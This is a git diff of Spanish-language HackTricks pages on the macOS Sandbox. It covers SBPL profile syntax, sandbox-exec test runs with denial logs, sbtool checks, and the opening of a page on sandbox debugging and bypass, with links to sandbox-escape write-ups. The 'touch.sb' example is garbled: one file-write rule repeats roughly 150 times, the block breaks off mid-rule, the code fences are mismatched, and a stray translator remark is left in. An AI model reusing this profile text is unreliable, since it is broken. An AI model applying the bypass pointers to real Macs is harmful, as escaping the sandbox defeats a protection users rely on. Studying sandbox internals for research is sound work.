[...]
|
||||
```
|
||||
### Perfiles de Sandbox
|
||||
|
||||
Los perfiles de Sandbox son archivos de configuración que indican lo que está **permitido/prohibido** en esa **Sandbox**. Utilizan el **Lenguaje de Perfil de Sandbox (SBPL)**, que utiliza el lenguaje de programación [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
|
||||
Aquí puedes encontrar un ejemplo:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
(deny default) ; Then you shuold indicate the default action when no rule applies
|
||||
|
||||
(allow network*) ; You can use wildcards and allow everything
|
||||
|
||||
(allow file-read* ; You can specify where to apply the rule
|
||||
(subpath "/Users/username/")
|
||||
(literal "/tmp/afile")
|
||||
(regex #"^/private/etc/.*")
|
||||
)
|
||||
|
||||
(allow mach-lookup
|
||||
(global-name "com.apple.analyticsd")
|
||||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Revisa esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que se pueden permitir o denegar.**
|
||||
{% endhint %}
|
||||
|
||||
También se ejecutan **servicios del sistema importantes** dentro de su propio **sandbox personalizado**, como el servicio `mdnsresponder`. Puedes ver estos **perfiles de sandbox personalizados** en:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`**
|
||||
* Otros perfiles de sandbox se pueden revisar en [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
Las aplicaciones de **App Store** usan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes revisar en este perfil cómo los permisos, como **`com.apple.security.network.server`**, permiten que un proceso use la red.
|
||||
|
||||
SIP es un perfil de Sandbox llamado platform\_profile en /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### Ejemplos de perfiles de Sandbox
|
||||
|
||||
Para iniciar una aplicación con un **perfil de sandbox específico**, puedes usar:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
{% code title="touch.sb" %}
|
||||
# Sandbox for the touch command
|
||||
|
||||
(version 1)
|
||||
|
||||
(deny default)
|
||||
|
||||
(allow file-read-data file-read-metadata
|
||||
(regex #"^/usr/share/locale/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/Users/[^/]+/Desktop/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/Users/[^/]+/Documents/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/Users/[^/]+/Downloads/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/tmp/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/var/folders/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/folders/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/tmp/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/dyld/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/mds/messages/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/mds/sessions/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/mds/system/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/mds/cores/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/mds/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
(regex #"^/private/var/db/uuidtext/.*"))
|
||||
|
||||
(allow file-write-data
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file* (literal "/tmp/hacktricks.txt"))
|
||||
```
|
||||
{% endcode %} (No hay nada que traducir en esta línea, es solo una etiqueta de markdown)
|
||||
```bash
|
||||
# This will fail because default is denied, so it cannot execute touch
|
||||
sandbox-exec -f touch.sb touch /tmp/hacktricks.txt
|
||||
# Check logs
|
||||
log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last 30s
|
||||
[...]
|
||||
2023-05-26 13:42:44.136082+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) process-exec* /usr/bin/touch
|
||||
2023-05-26 13:42:44.136100+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /usr/bin/touch
|
||||
2023-05-26 13:42:44.136321+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var
|
||||
2023-05-26 13:42:52.701382+0200 localhost kernel[0]: (Sandbox) 5 duplicate reports for Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var
|
||||
[...]
|
||||
```
|
||||
{% code title="touch2.sb" %}
|
||||
```
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file-write*
|
||||
(regex #"^/Users/[^/]+/Desktop/[^/]+$")
|
||||
(regex #"^/Users/[^/]+/Documents/[^/]+$")
|
||||
(regex #"^/Users/[^/]+/Downloads/[^/]+$")
|
||||
(regex #"^/Users/[^/]+/Movies/[^/]+$")
|
||||
(regex #"^/Users/[^/]+/Music/[^/]+$")
|
||||
(regex #"^/Users/[^/]+/Pictures/[^/]+$")
|
||||
)
|
||||
```
|
||||
{% endcode %}
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file* (literal "/tmp/hacktricks.txt"))
|
||||
(allow process* (literal "/usr/bin/touch"))
|
||||
; This will also fail because:
|
||||
; 2023-05-26 13:44:59.840002+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-metadata /usr/bin/touch
|
||||
; 2023-05-26 13:44:59.840016+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /usr/bin/touch
|
||||
; 2023-05-26 13:44:59.840028+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /usr/bin
|
||||
; 2023-05-26 13:44:59.840034+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-metadata /usr/lib/dyld
|
||||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||
```
|
||||
{% code title="touch3.sb" %}
|
||||
```
|
||||
(version 1)
|
||||
(deny default)
|
||||
(import "bsd.sb")
|
||||
(import "mach.sb")
|
||||
(import "iokit.sb")
|
||||
|
||||
;; Allow reading of system files
|
||||
(allow file-read* (regex #"^/usr/share/"))
|
||||
(allow file-read* (regex #"^/usr/lib/"))
|
||||
(allow file-read* (regex #"^/Library/"))
|
||||
|
||||
;; Allow writing to user's home directory
|
||||
(allow file-write* (subpath (user-home-dir) ))
|
||||
|
||||
;; Allow network access
|
||||
(allow network*)
|
||||
|
||||
;; Allow launching of touch command
|
||||
(allow process-exec (regex #"^/usr/bin/touch$"))
|
||||
|
||||
;; Allow access to system keychain
|
||||
(allow mach-lookup (global-name "com.apple.securityd"))
|
||||
|
||||
;; Allow access to IOKit
|
||||
(allow iokit-open (iokit-user-client-class "IOHIDSystem"))
|
||||
|
||||
;; Allow access to BSD sysctl
|
||||
(allow sysctl-read (bsd-name "kern.osrelease"))
|
||||
```
|
||||
{% endcode %}
|
||||
```scheme
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file* (literal "/private/tmp/hacktricks.txt"))
|
||||
(allow process* (literal "/usr/bin/touch"))
|
||||
(allow file-read-data (literal "/"))
|
||||
; This one will work
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que el **software** **creado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el aislamiento de aplicaciones.
|
||||
{% endhint %}
|
||||
|
||||
Ejemplos de bypass:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (pueden escribir archivos fuera del sandbox cuyo nombre comienza con `~$`).
|
||||
|
||||
### Depuración y bypass del sandbox
|
||||
|
||||
**Los procesos no nacen aislados en macOS: a diferencia de iOS**, donde el sandbox se aplica por el kernel antes de que se ejecute la primera instrucción de un programa, en macOS **un proceso debe elegir colocarse en el sandbox.**
|
||||
|
||||
Los procesos se aíslan automáticamente desde el espacio de usuario cuando se inician si tienen la concesión: `com.apple.security.app-sandbox`. Para obtener una explicación detallada de este proceso, consulte:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass.md" %}
|
||||
[macos-sandbox-debug-and-bypass.md](macos-sandbox-debug-and-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Comprobar los privilegios de PID**
|
||||
|
||||
[Según esto](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (es un `__mac_syscall`), puede comprobar **si se permite o no una operación** por el sandbox en un PID determinado.
|
||||
|
||||
La [**herramienta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) puede comprobar si un PID puede realizar una determinada acción:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### Perfiles de Sandbox personalizados en aplicaciones de la App Store
|
||||
|
||||
Es posible que las empresas hagan que sus aplicaciones se ejecuten con **perfiles de Sandbox personalizados** (en lugar del predeterminado). Para ello, deben utilizar el permiso **`com.apple.security.temporary-exception.sbpl`**, el cual debe ser autorizado por Apple.
|
||||
|
||||
Es posible verificar la definición de este permiso en **`/System/Library/Sandbox/Profiles/application.sb:`**.
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
(lambda (string)
|
||||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Esto **evaluará la cadena después de este permiso** como un perfil de Sandbox.
|
|
@ -0,0 +1,316 @@
|
|||
# Depuración y Bypass del Sandbox de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Proceso de carga del Sandbox
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
|
||||
En la imagen anterior se puede observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.
|
||||
|
||||
El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.
|
||||
|
||||
Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.\
|
||||
Finalmente, el sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.
|
||||
|
||||
## Posibles Bypasses
|
||||
|
||||
### Ejecutar binarios sin Sandbox
|
||||
|
||||
Si ejecutas un binario que no esté en el Sandbox desde un binario en el Sandbox, se **ejecutará dentro del Sandbox del proceso padre**.
|
||||
|
||||
### Depuración y bypass del Sandbox con lldb
|
||||
|
||||
Compilaremos una aplicación que debería estar en el Sandbox:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sand.c" %}
|
||||
